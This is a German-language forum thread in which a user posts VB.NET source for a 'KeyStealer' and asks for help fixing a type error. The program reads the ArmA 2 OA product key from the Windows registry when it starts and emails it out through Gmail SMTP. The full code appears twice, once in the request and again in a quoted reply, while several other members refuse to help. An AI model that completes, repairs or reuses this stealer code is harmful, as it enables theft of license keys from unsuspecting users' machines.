KeyStealer Code Fehler was tun?

[Dragongamer040201]

Hallo habe es fast geschafft einen KeyStealer zu schreiben nur irgendwie bleibt dort noch ein Fehler.Geschrieben ist er in VB. Wen mir jemand helfen könnte wäre das sehr nett., da ich ihn so langsam endlich fertigstellen will.

Imports System.Net.Mail
Imports System.Net
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) _
                    Handles MyBase.Load
        Dim Werte() As String
        Werte = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY", Nothing)

        For Each Wert As String In Werte
            Debug.WriteLine(Wert)

        Next
        Dim betreff As String
        Dim Zieladresse As String
        Zieladresse = ""
        betreff = "Key"
        Dim myClient As New Net.Mail.SmtpClient("smtp.gmail.com")
        myClient.Credentials = New Net.NetworkCredential("EmailAdresse", "EmailPasswort")
        myClient.Send("EmailAdresse", Zieladresse, betreff, Werte)
    End Sub
End Class

Der Fehler ist nun bei dem letzten <Werte> nach betreff, er wäre:
"Der Wert vom Typ "1-Dimensionales Array von String" kann nicht in "String" konvertiert werden"

Hoffe bekomme Hilfe danke für jede Antwort ^^

LG Dragon

[Graf c0x]

Vergiss es, dafür gibts hier keine Unterstützung.

[chrisyou]

Originally Posted by Dragongamer040201

Hallo habe es fast geschafft einen KeyStealer zu schreiben nur irgendwie bleibt dort noch ein Fehler.Geschrieben ist er in VB. Wen mir jemand helfen könnte wäre das sehr nett., da ich ihn so langsam endlich fertigstellen will.

Vielen Dank hoffe ich bekomme Hilfe ^^

Imports System.Net.Mail
Imports System.Net
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) _
                    Handles MyBase.Load
        Dim Werte() As String
        Werte = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY", Nothing)

        For Each Wert As String In Werte
            Debug.WriteLine(Wert)

        Next
        Dim betreff As String
        Dim Zieladresse As String
        Zieladresse = ""
        betreff = "Key"
        Dim myClient As New Net.Mail.SmtpClient("smtp.gmail.com")
        myClient.Credentials = New Net.NetworkCredential("EmailAdresse", "EmailPasswort")
        myClient.Send("EmailAdresse", Zieladresse, betreff, Werte)
    End Sub
End Class

Bitte, bitte, sag mir nicht, dass das dein Ernst ist.

E: Ich gebe dir keine Lösung, weil ich den Code absolut schrecklich geschrieben finde und ich auch keine Keystealer unterstütze. Aber übersetzt heißt der Fehlercode, dass "Werte" kein String ist.

[Czer0™]

Sowas wird hier nicht unterstützt!

[Linkhdub]

Schreib den ambesten komplett in Englisch und mach nich ein mischmasch aus beidem.
Und sowas wird hier nicht unterstüzt

Mit freundlichen Grüßen.

Linkhdub